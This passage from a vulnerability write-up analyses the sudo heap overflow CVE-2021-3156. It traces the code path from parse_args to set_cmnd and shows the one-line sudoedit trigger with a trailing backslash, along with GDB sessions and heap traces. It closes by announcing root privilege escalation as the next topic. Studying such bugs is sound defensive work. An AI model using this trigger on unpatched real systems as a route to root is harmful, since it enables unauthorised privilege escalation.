6. Bug Analysis
The ASan trace gave us the breadcrumbs:
#0 set_cmnd() at sudoers.c:976
#1 sudoers_policy_main() at sudoers.c:401
#2 sudoers_policy_check() at policy.c:1028
#3 policy_check() at sudo.c:1179
#4 main() at sudo.c:277We can replay the crash with a clean, debug-built binary:
./install/bin/sudoedit -i '\' aaaaaaaaaaaaaaaaaThis reliably detonates the heap overflow, so we can trace execution from main() all the way to the vulnerable set_cmnd().
6.1. Call Graphs
First take a look at the call graph of the vuln entry set_cmnd():

sudoers_policy_check() is called via policy_check() at sudo.c:1179:

This means sudoers_policy_check() was actually invoked, under one of the switch...case... loop branches. Outside the loop, we see policy_check() is actually calling a function pointer check_policy() within the policy_plugin global structure:

The call graph was broken because sudoers_policy_check() is actually a default implementation the check_policy() function pointer, initializing the policy_plugin global structure, which we will illustrate in the following static source code analysis.
6.2. Static Code Review
6.2.1. main
Ignoring libc scaffolding, the overflow chain starts at main(), defined in src/sudo.c at line 150. We already touched it when building the harness, but here's the annotated workflow relevant to the bug:
int
main(int argc, char *argv[], char *envp[])
{
...
// [0] Allowed program names
const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
...
// [1] First entry
// Parse command-line arguments - USER CONTROLLED
sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
&settings, &env_add);
...
// Workflow depend on flags
switch (sudo_mode & MODE_MASK) {
...
// Edit & run mode
case MODE_EDIT:
case MODE_RUN:
// [2] Trampoline
// Execute some check by parsing arguments, env, etc. - USER CONTROLLED
policy_check(nargc, nargv, env_add,
&command_info, &argv_out, &user_env_out);
...Key takeaways:
- Step [1]:
parse_args()processes argv/env — this is our attacker's entry point. - Step [2]: For modes
MODE_EDITandMODE_RUN, execution jumps intopolicy_check(), handing off the still-controlled arguments. - This path is exactly what
sudoedit -s '\' <payload>triggers, funneling malicious input deep into the policy plugin.
In short: main() parses argv, sets mode to MODE_EDIT, and then punts our controlled data into policy_check() — the trampoline that ultimately lands in the buggy set_cmnd().
6.2.2. parse_args
The first real user-controlled entrypoint is parse_args():
sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
&settings, &env_add);This routine decides the execution mode (MODE_EDIT, MODE_RUN, etc.), rewrites argv into a normalized nargv, and sets option flags. Essentially: this function dictates which plugin trampoline we'll hit later.
Target mode: we want sudo_mode → MODE_EDIT or MODE_RUN (for now), because those fall through to:
case MODE_EDIT:
case MODE_RUN:
policy_check(...);From src/parse_args.c we see how sudoedit behaves differently from sudo -e:
int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
struct sudo_settings **settingsp, char ***env_addp)
{
struct environment extra_env;
int mode = 0; /* what mode is sudo to be run in? */
int flags = 0; /* mode flags */
int valid_flags = DEFAULT_VALID_FLAGS; // Flags initialized by default
int ch, i;
char *cp;
const char *progname;
...
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
...
for (;;) {
if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
switch (ch) {
...
// for `sudo -e`
case 'e':
if (mode && mode != MODE_EDIT)
usage_excl();
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE; // [!] removes MODE_SHELL flag
break;
...So, calling binary as sudoedit OR running sudo -e ... will both set MODE_EDIT. but the latter one will remove the MODE_SHELL flag at the same time. Thus sudo -e won't accept extra command-line arguments and trigger an error (returning usage()), according to line 562:
SET(flags, MODE_SHELL);
}
if ((flags & valid_flags) != flags)
usage();Therefore, sudo -e is too strict; only sudoedit survives with extra arguments intact.
No other flag reset inside the sudoedit code snippet. When progname = "sudoedit", it just lights up the MODE_EDIT, with MODE_SHELL initialized by default, see line 120:
/*
* Default flags allowed when running a command.
*/
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)After bypassing the valid_flags check, execution flows into shell mode at line 604:
/*
* For shell mode we need to rewrite argv
* - This block reconstructs argv[] so that commands are passed correctly
* when using a shell (e.g., `sh -c "command"`).
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { // [!] only When MODE_RUN is set
char **av, *cmnd = NULL;
int ac = 1; // Start with one argument: the shell itself
if (argc != 0) {
// Construct the equivalent of: shell -c "command"
...
// [!] Copy each argument into cmnd, escaping special characters
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
// If the character is not alphanumeric, _, -, or $,
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
// then it prefixes the character with a backslash (\)
*dst++ = '\\';
// and always appends the character itself
*dst++ = *src;
}
...
}
...
// Null-terminate the new argv list
av[ac] = NULL; // [!] no command-line argument can end with a single backslash character ('\')
// Update argv and argc to point to the new arguments
argv = av;
argc = ac;
}It will have to reconstruct argv[] so that commands are passed correctly. If MODE_RUN + MODE_SHELL, arguments get reconstructed into a safe sh -c … form: every weird char escaped (\, ", _, -, $, etc.), and are always Null terminated.
But if MODE_EDIT, the logic is different. It also accept extra arguments for it sets MODE_SHELL as well ,but not MODE_RUN(see line 653):
/*
* For sudoedit we need to rewrite argv
*/
if (mode == MODE_EDIT) {
#if defined(HAVE_SETRESUID) || defined(HAVE_SETREUID) || defined(HAVE_SETEUID)
char **av;
int ac;
...
/* Must have the command in argv[0]. */
av[0] = "sudoedit";
// Shift the original arguments right by one position.
for (ac = 0; argv[ac] != NULL; ac++) {
av[ac + 1] = argv[ac];
}
// NULL-terminate and publish the new argv/argc
av[++ac] = NULL;
argv = av;
argc = ac;
...
*settingsp = sudo_settings;
*env_addp = extra_env.envp;
*nargc = argc;
*nargv = argv;
debug_return_int(mode | flags);
}Here, no escaping. It simply prepends "sudoedit" to original args and passes them along raw. That's why our fuzzed payload sudoedit -i '\' aaaa... worked — the literal backslash (\) slipped through unmodified.
Additionally, when we pass the -i/-s option to sudo or sudoedit, the flag MODE_LOGIN_SHELL or MODE_SHELL will be set as well (a condition to fulfil the exploit for set_cmnd() later):
case 'i':
sudo_settings[ARG_LOGIN_SHELL].value = "true";
SET(flags, MODE_LOGIN_SHELL); // ← LOGIN shell flag
case 's':
sudo_settings[ARG_USER_SHELL].value = "true";
SET(flags, MODE_SHELL); // ← plain shell flagMODE_SHELL: Tells the policy plugin to build ashell -c …pseudo-command.MODE_LOGIN_SHELL: Performs login-shell tweaks.
Further down in parse_args() at line 549:
if (ISSET(flags, MODE_LOGIN_SHELL)) {
if (ISSET(flags, MODE_SHELL)) {
sudo_warnx("%s",
U_("you may not specify both the -i and -s options"));
usage(); // -i and -s together? die
}
if (ISSET(flags, MODE_PRESERVE_ENV)) {
sudo_warnx("%s",
U_("you may not specify both the -i and -E options"));
usage(); // -i and -E together? die
}
SET(flags, MODE_SHELL); // [!] ← convert LOGIN → SHELL
}So:
- With
-i: InitiallyMODE_LOGIN_SHELLis set. Then this block addsMODE_SHELLfor it - With
-s: It already hadMODE_SHELL; this block does nothing.
A proper combination of these flag options eventually leads us to the desired code path in sudoers_policy_main and set_cmnd, accepting extra new arguments as a shell command should do.
6.2.3. policy_check
Once parse_args() lands us in MODE_EDIT, execution funnels into policy_check() (sudo.c:1157) — the trampoline from core sudo into the policy plugin

See src/sudo.c at line 1157:
static void
policy_check(int argc, char * const argv[],
char *env_add[], char **command_info[], char **argv_out[],
char **user_env_out[])
{
...
// Ensures check_policy() is implemented in the loaded plugin.
if (policy_plugin.u.policy->check_policy == NULL) {
sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
policy_plugin.name);
}
...
// Core call — jump into plugin check - [!] USER CONTROLLED
ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
command_info, argv_out, user_env_out, &errstr);
...Everything interesting crosses this boundary:
argc,argv→ our normalized, but attacker-influencednargvfromparse_args().env_add→ attacker-controlled environment adds.- Out-params (
command_info,argv_out,user_env_out) get populated by the plugin using the above.
This is the trust boundary: core sudo validates that a check_policy exists, then punts raw inputs to the plugin.
Question:
Where does
check_policycome from? How is it calling the "invisible"sudoers_policy_checksubsequently?
The policy_plugin instance is a global container:
struct plugin_container policy_plugin;The plugin_container structure is defined in src/sudo_plugin_int.h at line 88, holding a union u whose policy member is a pointer to a policy-plugin v1.2+ descriptor:
/*
* Sudo plugin internals.
*/
struct plugin_container {
...
union {
struct generic_plugin *generic;
struct policy_plugin *policy; // [!] we'll end up here
struct policy_plugin_1_0 *policy_1_0; // ↳ older APIs
struct io_plugin *io;
struct io_plugin_1_0 *io_1_0;
struct io_plugin_1_1 *io_1_1;
struct audit_plugin *audit;
struct approval_plugin *approval;
} u;
};The newer policy_plugin is described in include/sudo_plugin.h at line 163:

Here is where the check_policy function pointer comes from. Its function signature:
int (*check_policy)(int argc, char * const argv[],
char *env_add[], char **command_info[],
char **argv_out[], char **user_env_out[],
const char **errstr);Back to src/sudo.c, we see how this pointer is wired at runtime.
First, plugin is loaded via sudo_load_plugins():
/* Load plugins. */
if (!sudo_load_plugins())
sudo_fatalx("%s", U_("fatal error, unable to load plugins"));Where sudo_load_plugins() is defined in src/load_plugins.c at line 476:
/*
* Load the plugins listed in sudo.conf.
*/
bool
sudo_load_plugins(void)
{
struct plugin_info_list *plugins;
struct plugin_info *info, *next;
bool ret = false;
...
// Walks the list from sudo.conf; for each entry calls sudo_load_plugin(...)
if (...) { // Relates to policy_plugin, io_plugins, audit_plugins
...
ret = sudo_load_plugin(info, false);
...
ret = sudo_load_sudoers_plugin("sudoers_policy", false);
...
ret = sudo_load_sudoers_plugin("sudoers_io", false);
...
sudo_load_sudoers_plugin("sudoers_audit", true)
...
// After all plugins are processed, it checks:
/* TODO: check all plugins for open function too */
if (policy_plugin.u.policy->check_policy == NULL) {
sudo_warnx(U_("policy plugin %s does not include a check_policy method"),
policy_plugin.name);
ret = false;
goto done;
}
// Confirm the global now contains a usable check_policy pointer.
...It loads the plugins listed in sudo.conf, and calling sudo_load_plugin() internally defined at line 265 to initialize the global structures:
/*
* Load the plugin specified by "info".
*/
static bool
sudo_load_plugin(struct plugin_info *info, bool quiet)
{
struct generic_plugin *plugin;
...
// Initializing policy_plugin, io_plugins, audit_plugins, approval_plugins
// Copies the dlopen handle, path, options
// and the pointer to the exported struct into the global policy_plugin
if (!fill_container(&policy_plugin, handle, path, plugin, info))
goto done;
break;
case SUDO_IO_PLUGIN:
if (!sudo_insert_plugin(&io_plugins, handle, path, plugin, info))
goto done;
break;
case SUDO_AUDIT_PLUGIN:
if (!sudo_insert_plugin(&audit_plugins, handle, path, plugin, info))
goto done;
break;
case SUDO_APPROVAL_PLUGIN:
if (!sudo_insert_plugin(&approval_plugins, handle, path, plugin, info))
goto done;
break;
...This code initializes the global object policy_plugin:

Especially, it executes
sudo_load_sudoers_plugin("sudoers_policy", false);That loads libexec/sudo/sudoers.so, which is built from plugins/sudoers/policy.c. See line 1166:
sudo_dso_public struct policy_plugin sudoers_policy = {
SUDO_POLICY_PLUGIN,
SUDO_API_VERSION,
sudoers_policy_open,
sudoers_policy_close,
sudoers_policy_version,
sudoers_policy_check, // ⇦ .check_policy()
sudoers_policy_list,
sudoers_policy_validate,
sudoers_policy_invalidate,
sudoers_policy_init_session,
sudoers_policy_register_hooks,
NULL /* event_alloc() filled in by sudo */
};Therefore …
When policy_check() (in src/sudo.c) later executes:
ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
command_info, argv_out, user_env_out, &errstr);it really calls:
sudoers_policy_check(argc, argv, env_add,
command_info, argv_out, user_env_out, &errstr);inside the sudoers plugin.
6.2.4. sudoers_policy_check
sudoers_policy_check() is the trampoline of the exploit chain, defined in plugins/sudoers/policy.c at line 1012:
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
char **command_infop[], char **argv_out[], char **user_env_out[],
const char **errstr)
{
...
// Build exec_args → where the plugin will place its results
exec_args.argv = argv_out; // → pointer we pass back to front-end
exec_args.envp = user_env_out;
exec_args.info = command_infop;
// [!] Core dispatch: all user-controlled argv/env reach here
ret = sudoers_policy_main(argc, // attacker-controlled
argv, // attacker-controlled
0, // nfiles (sudoedit only)
env_add, // attacker-controlled
false, // preserve cwd flag
&exec_args); // out-parameters
...User-controlled data (argc, argv, env_add) is passed directly to sudoers_policy_main().
6.2.5. sudoers_policy_main
The called sudoers_policy_main() is defined in plugins/sudoers/sudoers.c at line 331, which re-constructs attacker-controlled argv and crashes in set_cmnd():
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
bool verbose, void *closure)
{
...
/*
* Make a local copy of argc/argv, with special handling
* for pseudo-commands and the '-i' option.
*/
if (argc == 0) { // sudoedit with 0 args
NewArgc = 1;
NewArgv = reallocarray(NULL, NewArgc + 1, sizeof(char *));
...
// Restrict to call user_cmnd only
NewArgv[0] = user_cmnd; // defined in sudoers.h: #define user_cmnd (sudo_user.cmnd)
NewArgv[1] = NULL;
} else {
/* Must leave an extra slot before NewArgv for bash's --login */
NewArgc = argc; // [!] attacker-controlled
NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
...
/* Find command in path and apply per-command Defaults. */
// [!] Vuln entry
cmnd_status = set_cmnd(); // ← pivot to overflow
...It clones the attacker-controlled argv into a mutable vector and prepares it for policy evaluation:
- All original arguments (already massaged by
parse_args()) are now copied intoNewArgv. - The reserved “extra slot before
NewArgv” is only for splicing--login; not directly risky, but it's why-iand-ssteer into a shell-flavored path later.
This block's purpose is only to massage argv[] in shell mode; it does not decide whether the overflow happens—but leading to the vulnerable entry: set_cmnd().
6.2.6. set_cmnd
According to the ASAN report, the found heap overflow eventually occurs exactly in plugins/sudoers/sudoers.c at line 976, which is inside the static set_cmnd() function defined in file plugins/sudoers/sudoers.c at line 917:
/*
* Fill in user_cmnd, user_args, user_base and user_stat variables
* and apply any command-specific defaults entries.
*/
static int
set_cmnd(void)
{
struct sudo_nss *nss;
int ret = FOUND;
debug_decl(set_cmnd, SUDOERS_DEBUG_PLUGIN);
/* Allocate user_stat for find_path() and match functions. */
user_stat = calloc(1, sizeof(struct stat));
...
/* Default value for cmnd, overridden below. */
if (user_cmnd == NULL)
user_cmnd = NewArgv[0]; // If not already set, use NewArgv[0]
// Only set command path/args if mode is RUN, EDIT, or CHECK
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
...
debug_return_int(ret); // if MODE_RUN, it returns (fails reaching vuln)
}
}
// [!] Vuln entry
// set user_args: string of all arguments after command
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) { // [!] size controllable
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(NOT_FOUND_ERROR);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
} else {
for (to = user_args, av = NewArgv + 1; *av; av++) {
n = strlcpy(to, *av, size - (to - user_args));
if (n >= size - (to - user_args)) {
sudo_warnx(U_("internal error, %s overflow"), __func__);
debug_return_int(NOT_FOUND_ERROR);
}
to += n;
*to++ = ' ';
}
*--to = '\0';
}
}
}
...The short: where the math breaks.
When we use the -i or -s option for sudoedit, both setting the MODE_EDIT (and MODE_SHELL, but not MODE_RUN), we enter the following code branch by reconstructing new command-line arguments after the option flags:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
...
debug_return_int(ret); // [!] This kills the code block
}
}
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
...First, it computes the size needed for memory allocation:
// total size (with spaces & NUL)
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1; // +1 for separating space Then, allocate a buffer user_args using that calculated size to store the arguments:
user_args = malloc(size); // size == Σ(len+1) When MODE_SHELL or MODE_LOGIN_SHELL flagged by -s or -i options:
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL))It enters a de-escaping copy loop:
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) { // Start new copy if NUL arg separators
if (from[0] == '\\' && !isspace((unsigned char)from[1])) // skip back-slash
from++; // drop the back-slash
*to++ = *from++; // copy the char & ++
}
*to++ = ' '; // ALWAYS add space between args
}
*--to = '\0'; // overwrite last space with NUL- Whenever the pattern
\X(X ≠ space) is found, one source byte is skipped but the loop still appends one destination byte (X). - Therefore the destination string becomes 1 byte shorter than the pre-computed
sizefor every such escape sequence.
This aims to extract char from \<non_space_char> format by removing \ which acts only as an escaper in Linux, illustrated as the following graph:

However, unexpected behaviour appears when one argument contains '\' + NUL (aka "\\" + "\x00").
A minimal trigger—the first argument to the copy loop is two bytes: a back-slash (0x5c) followed immediately by the terminating NUL (0x00). A second, ordinary argument ("abcdefghijklmn") follows.:
sudoedit -s '\' 'abcdefghijklmn'When setcmnd() sees the '\' string, the copy loop acts as:
// de-escape loop in set_cmnd() processing '\' string ($'\\\0')
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) { // (A)
if (from[0] == '\\' && // see '\'
!isspace((unsigned char)from[1])) // the next char '\0' is no space
from++; // (B) 1st ++ (skip \ (skips '\')
*to++ = *from++; // (C) copy NUL byte & 2nd ++ ⟶ go to A again
}
*to++ = ' ';
}
*--to = '\0'; // overwrite last space with NULAt the start point, from points to the first NewArgv[0]:
- So,
from[0] == '\\'andfrom[1] == '\0' isspace('\0')is false → condition true → execute (B)- ⇒
from++(now skips'\\'and points to the\0)
- ⇒
- Execute (C)
*to++ = *from→ copies the NUL byte intotofrom++again → pointing to NewArgv[1] (the next argument!) after the NUL byte—even though the outerfor (av++)has not advanced yet.*from != 0, bypassing the loop guardwhile (*from)at (A)
- Now the first loop does not end, but continuing the copy loop until reaching the Null terminator at the end of
NewArgv[1] - When the 1st inner
whilefinally finishes, control returns to the outerfor (av++), which now advances to the second argumentNewArgv[1]—the one that was just copied by mistake. This argument is then copied a second time.
Buffer overflow — user_args was sized before the de-escape copy loop, for holding one copy of each argument plus the spaces/NULs. The unexpected second copy writes past the end of the allocation, corrupting the next heap chunk. This is the heap-buffer-overflow reported in CVE-2021-3156.
6.3. Debugging Sudo
Goal: walk the minimal PoC through the call chain and watch the double-copy in set_cmnd blow past the heap buffer.
We care about the exact handoff points in the chain, so set breakpoints here:
b parse_args
b policy_check
b sudoers_policy_check
b sudoers_policy_main
b set_cmndFire up GDB with the crafted payload:
gdb -q \
-ex 'set follow-fork-mode child' \
-ex 'b parse_args' \
-ex 'b policy_check' \
-ex 'b sudoers_policy_check' \
-ex 'b sudoers_policy_main' \
-ex 'b set_cmnd' \
--args $HOME/fuzz/proj/sudo-1.9.5p1/install/bin/sudoedit \
-s '\' abcdefghijklmnInitial argv[] comes straight from the command line:

parse_args() processes the flags. With -s, the global sudo_mode becomes 0x00020002 (MODE_EDIT = 0x00000002, MODE_SHELL = 0x00020000):

This sets us up for the vulnerable branch into policy_check().
Subsequently, arguments are massaged, and the trampoline into sudoers_policy_check() happens:

The new argc is 3 — "-s" is gone, leaving:
nargv[0] = "sudoedit"
nargv[1] = "\"
nargv[2] = "abcdefghijklmn"Inside sudoers_policy_main(), the args are copied into NewArgv[]:

The size calculation sees both arguments ("\\" and "abcdefghijklmn") → 17 bytes (0x11) including the two Null terminators for each string:

A malloc(0x11) call carves out a 0x20 chunk from the unsorted bin:

We enter the first de-escape copy loop of set_cmnd(). Our first arg ("\\" string with NUL) bypasses the isspace() check.

from++ skips the NUL after the backslash. Now from points to the 2nd argument, the junk string:

The loop then copies the trailing NUL as if it were real input, at the user_args heap chunk:

to is then forwarding to &user_args+1, and immediately slides into the second argument ("abcdefghijklmn") without waiting for the outer loop to advance:

to advances through the junk string until the NUL terminator…Once the inner loop finishes, then the outer for loop kicks in, and processes NewArgv[1] again. The same junk string is copied a second time → writing beyond the end of user_args:

Heap corruption achieved: the overflow tramples the adjacent chunk sitting in the unsorted bin.
6.4. Heap Trace
6.4.1. GDB Scripts
To trace heap activity while executing our PoC, we can hook only the key allocation primitives: malloc, calloc, realloc, and free. Using a custom GDB script (heap_trace.gdb), each call is logged with backtraces:
gdb --batch \
--command=$HOME/pwn/pwnhub/gdb-scripts/heap_trace.gdb \
--args $HOME/fuzz/proj/sudo-1.9.5p1/install/bin/sudoedit \
-s '\' 'abdcefghijklmn'Example excerpt:
========= [MALLOC] =========
>>> malloc(0x59)
Request size : 89
#0 __GI___libc_malloc (bytes=89) at malloc.c:3038
#1 0x00007f0f2c910ce1 in _nl_make_l10nflist (l10nfile_list=l10nfile_list@entry=0x7f0f2ccc8cd8 <_nl_loaded_domains>, dirlist=dirlist@entry=0x56297a0c5d30 "/home/pwn/fuzz/proj/sudo-1.9.5p1/install/share/locale", dirlist_len=54, mask=mask@entry=0, language=language@entry=0x7ffe6ea8f450 "en_US.UTF-8", territory=territory@entry=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, filename=0x7ffe6ea8f470 "LC_MESSAGES/sudoers.mo", do_allocate=0) at ../intl/l10nflist.c:166
#2 0x00007f0f2c90ecc4 in _nl_find_domain (dirname=dirname@entry=0x56297a0c5d30 "/home/pwn/fuzz/proj/sudo-1.9.5p1/install/share/locale", locale=locale@entry=0x7ffe6ea8f450 "en_US.UTF-8", domainname=domainname@entry=0x7ffe6ea8f470 "LC_MESSAGES/sudoers.mo", domainbinding=domainbinding@entry=0x56297a0c60d0) at finddomain.c:90
#3 0x00007f0f2c90e59b in __dcigettext (domainname=<optimized out>, domainname@entry=0x562978862829 "sudoers", msgid1=msgid1@entry=0x562978864ba4 "Sorry, try again.", msgid2=msgid2@entry=0x0, plural=plural@entry=0, n=n@entry=0, category=category@entry=5) at dcigettext.c:703
#4 0x00007f0f2c90cddf in __GI___dcgettext (domainname=domainname@entry=0x562978862829 "sudoers", msgid=msgid@entry=0x562978864ba4 "Sorry, try again.", category=category@entry=5) at dcgettext.c:47
#5 0x000056297882a2d3 in init_defaults () at ./defaults.c:580
#6 0x0000562978821047 in sudoers_init (info=info@entry=0x7ffe6ea8f670, envp=envp@entry=0x7ffe6ea8fa00) at ./sudoers.c:175
#7 0x0000562978826dfb in sudoers_audit_open (version=<optimized out>, conversation=<optimized out>, plugin_printf=<optimized out>, settings=0x56297a0c5f90, user_info=0x56297a0c2850, submit_optind=<optimized out>, submit_argv=0x7ffe6ea8f9d8, submit_envp=0x7ffe6ea8fa00, plugin_options=0x0, errstr=0x7ffe6ea8f760) at ./audit.c:183
#8 0x00005629787ef203 in audit_open_int (errstr=0x7ffe6ea8f760, submit_envp=0x7ffe6ea8fa00, submit_argv=0x7ffe6ea8f9d8, submit_optind=2, user_info=0x56297a0c2850, settings=0x562978a8b6c0 <sudo_settings>, plugin=0x56297a0c5cc0) at ./sudo.c:1556
#9 audit_open (submit_envp=0x7ffe6ea8fa00, submit_argv=0x7ffe6ea8f9d8, submit_optind=2, user_info=0x56297a0c2850, settings=0x562978a8b6c0 <sudo_settings>) at ./sudo.c:1576
#10 main (argc=argc@entry=4, argv=argv@entry=0x7ffe6ea8f9d8, envp=0x7ffe6ea8fa00) at ./sudo.c:240
#11 0x00007f0f2c8fdc87 in __libc_start_main (main=0x5629787eee30 <main>, argc=4, argv=0x7ffe6ea8f9d8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe6ea8f9c8) at ../csu/libc-start.c:310
#12 0x00005629787f14fa in _start ()
...
========= [MALLOC] =========
>>> malloc(0x11)
Request size : 17
#0 __GI___libc_malloc (bytes=17) at malloc.c:3038
#1 0x000056297882218f in set_cmnd () at ./sudoers.c:960
#2 sudoers_policy_main (argc=argc@entry=3, argv=argv@entry=0x56297a0c5b90, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffe6ea8f680) at ./sudoers.c:401
#3 0x000056297881b379 in sudoers_policy_check (argc=3, argv=0x56297a0c5b90, env_add=0x0, command_infop=0x7ffe6ea8f740, argv_out=0x7ffe6ea8f748, user_env_out=0x7ffe6ea8f750, errstr=0x7ffe6ea8f768) at ./policy.c:1028
#4 0x00005629787ef4a0 in policy_check (user_env_out=0x7ffe6ea8f750, argv_out=0x7ffe6ea8f748, command_info=0x7ffe6ea8f740, env_add=0x0, argv=0x56297a0c5b90, argc=3) at ./sudo.c:1171
#5 main (argc=argc@entry=4, argv=argv@entry=0x7ffe6ea8f9d8, envp=0x7ffe6ea8fa00) at ./sudo.c:269
#6 0x00007f0f2c8fdc87 in __libc_start_main (main=0x5629787eee30 <main>, argc=4, argv=0x7ffe6ea8f9d8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe6ea8f9c8) at ../csu/libc-start.c:310
#7 0x00005629787f14fa in _start ()
...6.4.2. Function Tree
The raw GDB logs are bulky. To make sense of them, we pipe the traces through a parser (tree_heap_trace.py) that builds a hierarchical call tree for each allocation event:

Using this tree view, we can filter and collapse irrelevant libc internals, leaving only the essential call stacks that matter for exploitation. Tools like Understand or CodeQL help correlate these heap sites with source-level intent:

Turning on annotated comments in the tree is particularly useful—it shows why each malloc exists (locale loading, defaults parsing, policy checks), making it easier to identify which allocations are under attacker influence.
We have verified a heap overflow vulnerability in the
sudobinary, the next topic is about how we are going to exploit it—escalate user privilege torootwithout password authentication.
Comments | 1 comment
what is the password for writeup